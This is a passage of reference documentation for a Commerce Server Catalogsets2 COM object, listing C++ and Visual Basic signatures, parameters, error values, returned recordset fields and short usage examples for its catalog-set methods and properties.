[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++]

The parameter retVal contains valid data only if the method completes successfully.

If the user defined in the objProfileService parameter has a catalog set associated with it, this method returns that ID; if not, it returns the catalog set associated with the user organization. If this catalog set does not exist, it returns the value supplied in the defaultCatalogSetID parameter.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

The Variant returned by this method contains valid data only if the method completes successfully.

If the user defined in the objProfileService parameter has a catalog set associated with it, this method returns that ID; if not, it returns the catalog set associated with the user organization. If this catalog set does not exist, it returns the value supplied in the defaultCatalogSetID parameter.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

strCatalogSetID = myCatalogsets2.GetCatalogSetIDForUser(oProfileService, user_id, defaultCatalogSetID)

See Also

[C++] Catalogsets2 Object

[C++] ProfileService Object

[Visual Basic] Catalogsets2 Object

[Visual Basic] ProfileService Object


_Catalogsets2::GetCatalogSetInfo Method [C++]

Catalogsets2.GetCatalogSetInfo Method [Visual Basic]

Use this method to return the basic properties for a catalog set.

Definition

[C++]
HRESULT _Catalogsets2::GetCatalogSetInfo(
  BSTR CatalogSetID,
  _Recordset** retVal
);
[Visual Basic]
Function GetCatalogSetInfo(
  CatalogSetID As String
) As Recordset

Parameters

[C++]
CatalogSetID
[in] A BSTR that contains the catalog set ID, a GUID.
retVal
[out, retval] A pointer to hold the reference to the returned _Recordset object, which will contain the retVal parameter.
[Visual Basic]
CatalogSetID
A String that contains the catalog set ID, a GUID.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Recordset object.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++]

The parameter retVal contains valid data only if the method completes successfully.

This method returns a forward-only Recordset object with a single row and the following fields:

Field | Type | Description
CatalogSetID | GUID | None
CatalogSetName | String, maximum of 255 characters | None
CatalogSetDescription | String, maximum of 255 characters | None
bWildCard | Integer | A Boolean that indicates whether this catalog set automatically includes all catalogs, including any new catalogs that might be created in the future. A value of True indicates that this catalog set includes all existing catalogs. A value of False indicates that this catalog set only includes a specific set of catalogs.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

The Recordset object returned by this method contains valid data only if the method completes successfully.

This method returns a forward-only Recordset object with a single row and the following fields:

Field | Type | Description
CatalogSetID | GUID | None
CatalogSetName | String, maximum of 255 characters | None
CatalogSetDescription | String, maximum of 255 characters | None
bWildCard | Integer | A Boolean that indicates whether this catalog set automatically includes all catalogs, including any new catalogs that might be created in the future. A value of True indicates that this catalog set includes all existing catalogs. A value of False indicates that this catalog set only includes a specific set of catalogs.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

'
set rsMyCatalogSetInfo = myCatalogsets2.GetCatalogSetInfo(strCatalogSetID)

See Also

[C++] Catalogsets2 Object

[Visual Basic] Catalogsets2 Object


_Catalogsets2::GetCatalogsets Method [C++]

Catalogsets2.GetCatalogSets Method [Visual Basic]

Use this method to return a list of all catalog sets.

Definition

[C++]
HRESULT _Catalogsets2::GetCatalogSets(
  _Recordset** retVal
);
[Visual Basic]
Function GetCatalogSets() As Recordset

Parameters

[C++]
retVal
[out, retval] A pointer to hold the reference to the returned _Recordset object, which will contain the retVal parameter.

[Visual Basic] None.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Recordset object that contains the list of all catalog sets.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++]

The parameter retVal contains valid data only if the method completes successfully.

This method returns a forward-only Recordset object with a row for each catalog set and the following fields:

Field | Type | Description
CatalogSetID | GUID | None
CatalogSetName | String, 255 characters | None
CatalogSetDescription | String, 255 characters | None
bWildCard | Integer | A Boolean that indicates whether this catalog set automatically includes all catalogs, including any new catalogs that might be created in the future. A value of True indicates that this catalog set includes all existing catalogs. A value of False indicates that this catalog set only includes a specific set of catalogs.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

The Recordset object returned by this method contains valid data only if the method completes successfully.

This method returns a forward-only Recordset object with a row for each catalog set and the following fields:

Field | Type | Description
CatalogSetID | GUID | None
CatalogSetName | String, 255 characters | None
CatalogSetDescription | String, 255 characters | None
bWildCard | Integer | A Boolean that indicates whether this catalog set automatically includes all catalogs, including any new catalogs that might be created in the future. A value of True indicates that this catalog set includes all existing catalogs. A value of False indicates that this catalog set only includes a specific set of catalogs.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

set rsMyCatalogsets2 = myCatalogsets2.GetCatalogSets()

See Also

[C++] Catalogsets2 Object

[Visual Basic] Catalogsets2 Object


_Catalogsets2::GetCatalogsForUser Method [C++]

Catalogsets2.GetCatalogsForUser Method [Visual Basic]

Use this method to return the list of catalogs that have been assigned to a particular user through the catalog set specified in their profile.

Definition

[C++]
HRESULT _Catalogsets2::GetCatalogsForUser(
  IDispatch* objProfileService,
  BSTR user_id,
  BSTR defaultCatalogSetID,
  _Recordset** retVal
);
[Visual Basic]
Function GetCatalogsForUser(
  objProfileService As IDispatch,
  user_id As String,
  defaultCatalogSetID As String
) As Recordset

Parameters

[C++]
objProfileService
[in] A pointer to the IDispatch interface to the profile service.
user_id
[in] A BSTR that contains the user ID.
defaultCatalogSetID
[in] A BSTR that contains the default catalog set ID.
retVal
[out, retval] A pointer to hold the reference to the returned _Recordset object, which will contain the retVal parameter.
[Visual Basic]
objProfileService
A ProfileService object.
user_id
A String that contains the user ID.
defaultCatalogSetID
A String that contains the default catalog set ID.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Recordset object that contains the list of catalogs.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++]

The parameter retVal contains valid data only if the method completes successfully.

This method returns a Recordset object with a row for each catalog in the catalog set associated with the user profile in the user_id parameter and the following fields:

Field | Type | Description
CatalogName From the CatalogSet_Catalogs table | String maximum of 255 characters | None
CatalogName From the CatalogGlobal table | String maximum of 128 characters | None

If the user profile object passed to this method has not been initialized, the object will return the default catalog set.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

The Recordset object returned by this method contains valid data only if the method completes successfully.

This method returns a Recordset object with a row for each catalog in the catalog set associated with the user profile in the user_id parameter and the following fields:

Field | Type | Description
CatalogName From the CatalogSet_Catalogs table | String maximum of 255 characters | None
CatalogName From the CatalogGlobal table | String maximum of 128 characters | None

If the user profile object passed to this method has not been initialized, the object will return the default catalog set.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

Set objProfileService = Server.CreateObject("Commerce.ProfileService")
Call objProfileService.Initialize(sProfileServiceConnectionString, "Profile Definitions")
set rsCatalogSet = myCatalogsets2.GetCatalogsForUser(objProfileService, user_id, defaultCatalogSetID)

See Also

[C++] Catalogsets2 Object

[Visual Basic] Catalogsets2 Object


_Catalogsets2::GetCatalogsInCatalogSet Method [C++]

Catalogsets2.GetCatalogsInCatalogSet Method [Visual Basic]

[C++] Use this method to return the catalogs that are included in a particular catalog set.

[Visual Basic] Use this method to return the catalogs that are included in a particular catalog set.

Definition

[C++]
HRESULT _Catalogsets2::GetCatalogsInCatalogSet(
  BSTR CatalogSetID,
  _Recordset** retVal
);
[Visual Basic]
Function GetCatalogsInCatalogSet(
  CatalogSetID As String
) As Recordset

Parameters

[C++]
CatalogSetID
[in] A BSTR that contains the catalog set ID.
retVal
[out, retval] A pointer to hold the reference to the returned _Recordset object, which will contain the retVal parameter.
[Visual Basic]
CatalogSetID
A String that contains the catalog set ID.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Recordset object that contains the list of catalogs.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++]

The parameter retVal contains valid data only if the method completes successfully.

This method returns a Recordset object with a row for each catalog in the catalog set and the following fields:

Field | Type | Description
CatalogName From the CatalogSet_Catalogs table | String maximum of 255 characters | None
CatalogName From the CatalogGlobal table | String maximum of 128 characters | None

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

The Recordset object returned by this method contains valid data only if the method completes successfully.

This method returns a Recordset object with a row for each catalog in the catalog set and the following fields:

Field | Type | Description
CatalogName From the CatalogSet_Catalogs table | String maximum of 255 characters | None
CatalogName From the CatalogGlobal table | String maximum of 128 characters | None

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

set rsCatalogNames = myCatalogsets2.GetCatalogsInCatalogSet(CatalogSetID)

See Also

[C++] Catalogsets2 Object

[Visual Basic] Catalogsets2 Object


_Catalogsets2::GetCatalogsNotInCatalogSet Method [C++]

Catalogsets2.GetCatalogsNotInCatalogSet Method [Visual Basic]

Use this method to return the catalogs that are not included in a specified catalog set.

Definition

[C++]
HRESULT _Catalogsets2::GetCatalogsNotInCatalogSet(
  BSTR CatalogSetID,
  _Recordset** retVal
);
[Visual Basic]
Function GetCatalogsNotInCatalogSet(
  CatalogSetID As String
) As Recordset

Parameters

[C++]
CatalogSetID
[in] A BSTR that contains the catalog set ID.
retVal
[out, retval] A pointer to hold the reference to the returned _Recordset, which will contain the retVal parameter.
[Visual Basic]
CatalogSetID
A String that contains the catalog set ID.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Recordset object.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++]

The parameter retVal contains valid data only if the method completes successfully.

The Recordset object returned by this method has a single 128 character field, named CatalogName.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

The Recordset object returned by this method contains valid data only if the method completes successfully.

The Recordset object returned by this method has a single 128 character field, named CatalogName.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

'strCatalogSetID is the GUID of a catalog set
set rsCatalogs = myCatalogsets2.GetCatalogsNotInCatalogSet(strCatalogSetID)

See Also

[C++] Catalogsets2 Object

[Visual Basic] Catalogsets2 Object


_Catalogsets2::Initialize Method [C++]

Catalogsets2.Initialize Method [Visual Basic]

Use this method to initialize a new CatalogSet object.

Definition

[C++]
HRESULT _Catalogsets2::Initialize(
  BSTR CatalogConnectionString,
  BSTR TransactionConfigConnectionString
);
[Visual Basic]
Sub Initialize(
  CatalogConnectionString As String,
  TransactionConfigConnectionString As String
)

Parameters

[C++]
CatalogConnectionString
[in] A BSTR that contains the catalog connection string.
TransactionConfigConnectionString
[in] A BSTR that contains the transaction configuration connection string. The value of the BSTR is not used
[Visual Basic]
CatalogConnectionString
A String that contains the catalog connection string.
TransactionConfigConnectionString
A String that contains the transaction configuration connection string. The value of the String is not used.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++]

The TransactionConfigConnectionString parameter is required, but not used. The contents of the BSTR are ignored. This parameter is reserved for future use.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

The TransactionConfigConnectionString parameter is required, but not used. The contents of the String are ignored. This parameter is reserved for future use.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

myCatalogsets2.Initialize strCatalogConnection, ""

See Also

[C++] Catalogsets2 Object

[Visual Basic] Catalogsets2 Object


_Catalogsets2::RemoveCatalogFromCatalogSets Method [C++]

Catalogsets2.RemoveCatalogFromCatalogSets Method [Visual Basic]

Use this method to remove a catalog from all catalog sets.

Definition

[C++]
HRESULT _Catalogsets2::RemoveCatalogFromCatalogSets(
  BSTR CatalogName
);
[Visual Basic]
Sub RemoveCatalogFromCatalogSets(
  CatalogName As String
)

Parameters

[C++]
CatalogName
[in] A BSTR that contains the name of the catalog to be removed.
[Visual Basic]
CatalogName
A String that contains the name of the catalog to be removed.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

This method should be called whenever a catalog is deleted, before or after calling the CatalogManager.DeleteCatalog method.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

MyCatalogManager.DeleteCatalog "Shoes"
myCatalogsets2.RemoveCatalogFromCatalogSets "Shoes"

See Also

[C++] Catalogsets2 Object

[Visual Basic] Catalogsets2 Object


_Catalogsets2::UpdateCatalogSet Method [C++]

Catalogsets2.UpdateCatalogSet Method [Visual Basic]

Use this method to update an existing catalog set and its basic properties.

Definition

[C++]
HRESULT _Catalogsets2::UpdateCatalogSet(
  BSTR CatalogSetID,
  BSTR CatalogSetName,
  BSTR CatalogSetDescription,
  VARIANT_BOOL bWildCard,
  _Recordset* CatalogNamesRS
);
[Visual Basic]
Sub UpdateCatalogSet(
  CatalogSetID As String,
  CatalogSetName As String,
  CatalogSetDescription As String,
  bWildCard As Boolean,
  Optional CatalogNamesRS As Recordset
)

Parameters

[C++]
CatalogSetID
[in] A BSTR that contains the catalog set ID (GUID).
CatalogSetName
[in] A BSTR that contains the catalog set name. The maximum length is 128 characters.
CatalogSetDescription
[in] A BSTR that contains the catalog set description.
bWildCard
[in] A VARIANT_BOOL that indicates which catalogs to use. A value of TRUE indicates use all catalogs. A value of FALSE indicates use the catalogs contained in the CatalogNameRS parameter.
CatalogNamesRS
[in, optional] A reference to a _Recordset object that contains the catalog names.
[Visual Basic]
CatalogSetID
A String that contains the catalog set ID (GUID).
CatalogSetName
A String that contains the catalog set name. The maximum length is 128 characters.
CatalogSetDescription
A String that contains the catalog set description.
bWildCard
A Boolean that indicates which catalogs to use. A value of True indicates use all catalogs. A value of False indicates use the catalogs contained in the CatalogNameRS parameter.
CatalogNamesRS
A Recordset object that contains the catalog names.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

'strCatalogSetID is the GUID for the CatalogSet.
'rsCatalogNames is a Recordset as described in the parameter description.

myCatalogsets2.UpdateCatalogSet strCatalogSetID, "Clothing", "All soft goods", FALSE, rsCatalogNames

See Also

[C++] Catalogsets2 Object

[Visual Basic] Catalogsets2 Object


_Catalogsets2 Properties [C++]

Catalogsets2 Properties [Visual Basic]

Properties

[C++]
Property | Type | Description
OrganizationObjectCatalogSetKey | BSTR | Stores the CatalogSet key for the organization object. This property is read/write.
OrganizationObjectCategoryName | BSTR | Stores the category name for the organization object. This property is read/write.
OrganizationObjectJoinKey | BSTR | Stores the join key for the organization object. This property is read/write.
OrganizationObjectName | BSTR | Stores the name of the organization object. This property is read/write.
UserObjectCatalogSetKey | BSTR | Stores the CatalogSet key for the user object. This property is read/write.
UserObjectCategoryName | BSTR | Stores the category name for the user object. This property is read/write.
UserObjectJoinKey | BSTR | Stores the join key for the user object. This property is read/write.
UserObjectName | BSTR | Stores the name of the user object. This property is read/write.
UserObjectOrganizationKey | BSTR | Stores the organization key for the user object. This property is read/write.
[Visual Basic]
Property | Type | Description
OrganizationObjectCatalogSetKey | String | Stores the CatalogSet key for the organization object. This property is read/write.
OrganizationObjectCategoryName | String | Stores the category name for the organization object. This property is read/write.
OrganizationObjectJoinKey | String | Stores the join key for the organization object. This property is read/write.
OrganizationObjectName | String | Stores the name of the organization object. This property is read/write.
UserObjectCatalogSetKey | String | Stores the CatalogSet key for the user object. This property is read/write.
UserObjectCategoryName | String | Stores the category name for the user object. This property is read/write.
UserObjectJoinKey | String | Stores the join key for the user object. This property is read/write.
UserObjectName | String | Stores the name of the User object. This property is read/write.
UserObjectOrganizationKey | String | Stores the organization key for the user object. This property is read/write.


_Catalogsets2::get_OrganizationObjectCatalogSetKey, put_OrganizationObjectCatalogSetKey Property [C++]

Catalogsets2.OrganizationObjectCatalogSetKey Property [Visual Basic]

The OrganizationObjectCatalogSetKey property is a read/write string that contains the CatalogSet key for the organization object. This property defaults to "Org_catalog_set".

Definition

[C++]

Get method:

HRESULT _Catalogsets2::get_OrganizationObjectCatalogSetKey(
  BSTR* UnNamedParameter
);

Put method:

HRESULT _Catalogsets2::put_OrganizationObjectCatalogSetKey(
  BSTR UnNamedParameter
);
[Visual Basic]
Property OrganizationObjectCatalogSetKey As String

Parameters

[C++]
UnNamedParameter
[in] When putting the property, a BSTR that contains the OrganizationObjectCatalogSetKey.
[out, retval] When getting the property, a BSTR used to return the OrganizationObjectCatalogSetKey.

[Visual Basic] None.

[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++]

The parameter UnNamedParameter contains valid data only if the property was accessed successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic] For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] Catalogsets2 Object

[Visual Basic] Catalogsets2 Object


_Catalogsets2::get_OrganizationObjectCategoryName, put_OrganizationObjectCategoryName Property [C++]

Catalogsets2.OrganizationObjectCategoryName Property [Visual Basic]

The OrganizationObjectCategoryName property is a read/write string that contains the category name of the organization object. This property defaults to "GeneralInfo".

Definition

[C++]

Get method:

HRESULT _Catalogsets2::get_OrganizationObjectCategoryName(
  BSTR* UnNamedParameter
);

Put method:

HRESULT _Catalogsets2::put_OrganizationObjectCategoryName(
  BSTR UnNamedParameter
);
[Visual Basic]
Property OrganizationObjectCategoryName As String

Parameters

[C++]
UnNamedParameter
[in] When putting the property, a BSTR that contains the OrganizationObjectCategoryName.
[out, retval] When getting the property, a BSTR used to return the OrganizationObjectCategoryName.

[Visual Basic] None.

[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++]

The parameter UnNamedParameter contains valid data only if the property was accessed successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic] For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] Catalogsets2 Object

[Visual Basic] Catalogsets2 Object


_Catalogsets2::get_OrganizationObjectJoinKey, put_OrganizationObjectJoinKey Property [C++]

Catalogsets2.OrganizationObjectJoinKey Property [Visual Basic]

The OrganizationObjectJoinKey property is a read/write String that contains the join key of the Organization object. This property defaults to "org_id".

Definition

[C++]

Get method:

HRESULT _Catalogsets2::get_OrganizationObjectJoinKey(
  BSTR* UnNamedParameter
);

Put method:

HRESULT _Catalogsets2::put_OrganizationObjectJoinKey(
  BSTR UnNamedParameter
);
[Visual Basic]
Property OrganizationObjectJoinKey As String

Parameters

[C++]
UnNamedParameter
[in] When putting the property, a BSTR that contains the OrganizationObjectJoinKey.
[out, retval] When getting the property, a BSTR used to return the OrganizationObjectJoinKey.

[Visual Basic] None.

[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++]

The parameter UnNamedParameter contains valid data only if the property was accessed successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic] For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] Catalogsets2 Object

[Visual Basic] Catalogsets2 Object


_Catalogsets2::get_OrganizationObjectName, put_OrganizationObjectName Property [C++]

Catalogsets2.OrganizationObjectName Property [Visual Basic]

The OrganizationObjectName property is a read/write String that contains the name of the organization object. This property defaults to "Organization".

Definition

[C++]

Get method:

HRESULT _Catalogsets2::get_OrganizationObjectName(
  BSTR* UnNamedParameter
);

Put method:

HRESULT _Catalogsets2::put_OrganizationObjectName(
  BSTR UnNamedParameter
);
[Visual Basic]
Property OrganizationObjectName As String

Parameters

[C++]
UnNamedParameter
[in] When putting the property, a BSTR that contains the OrganizationObjectName.
[out, retval] When getting the property, a BSTR used to return the OrganizationObjectName.

[Visual Basic] None.

[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++]

The parameter UnNamedParameter contains valid data only if the property was accessed successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic] For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] Catalogsets2 Object

[Visual Basic] Catalogsets2 Object


_Catalogsets2::get_UserObjectCatalogSetKey, put_UserObjectCatalogSetKey Property [C++]

Catalogsets2.UserObjectCatalogSetKey Property [Visual Basic]

The UserObjectCatalogSetKey property is a read/write String that contains the CatalogSet key of the user object. This property defaults to "user_catalog_set".

Definition

[C++]

Get method:

HRESULT _Catalogsets2::get_UserObjectCatalogSetKey(
  BSTR* UnNamedParameter
);

Put method:

HRESULT _Catalogsets2::put_UserObjectCatalogSetKey(
  BSTR UnNamedParameter
);
[Visual Basic]
Property UserObjectCatalogSetKey As String

Parameters

[C++]
UnNamedParameter
[in] When putting the property, a BSTR that contains the UserObjectCatalogSetKey.
[out, retval] When getting the property, a BSTR used to return the UserObjectCatalogSetKey.
[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++]

The parameter UnNamedParameter contains valid data only if the property was accessed successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic] For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] Catalogsets2 Object

[Visual Basic] Catalogsets2 Object


_Catalogsets2::get_UserObjectCategoryName, put_UserObjectCategoryName Property [C++]

Catalogsets2.UserObjectCategoryName Property [Visual Basic]

The UserObjectCategoryName property is a read/write String that contains the category name of the user object. This property defaults to: "AccountInfo".

Definition

[C++]

Get method:

HRESULT _Catalogsets2::get_UserObjectCategoryName(
  BSTR* UnNamedParameter
);

Put method:

HRESULT _Catalogsets2::put_UserObjectCategoryName(
  BSTR UnNamedParameter
);
[Visual Basic]
Property UserObjectCategoryName As String

Parameters

[C++]
UnNamedParameter
[in] When putting the property, a BSTR that contains the UserObjectCategoryName.
[out, retval] When getting the property, a BSTR used to return the UserObjectCategoryName.

[Visual Basic] None.

[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++]

The parameter UnNamedParameter contains valid data only if the property was accessed successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic] For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] Catalogsets2 Object

[Visual Basic] Catalogsets2 Object


_Catalogsets2::get_UserObjectJoinKey, put_UserObjectJoinKey Property [C++]

Catalogsets2.UserObjectJoinKey Property [Visual Basic]

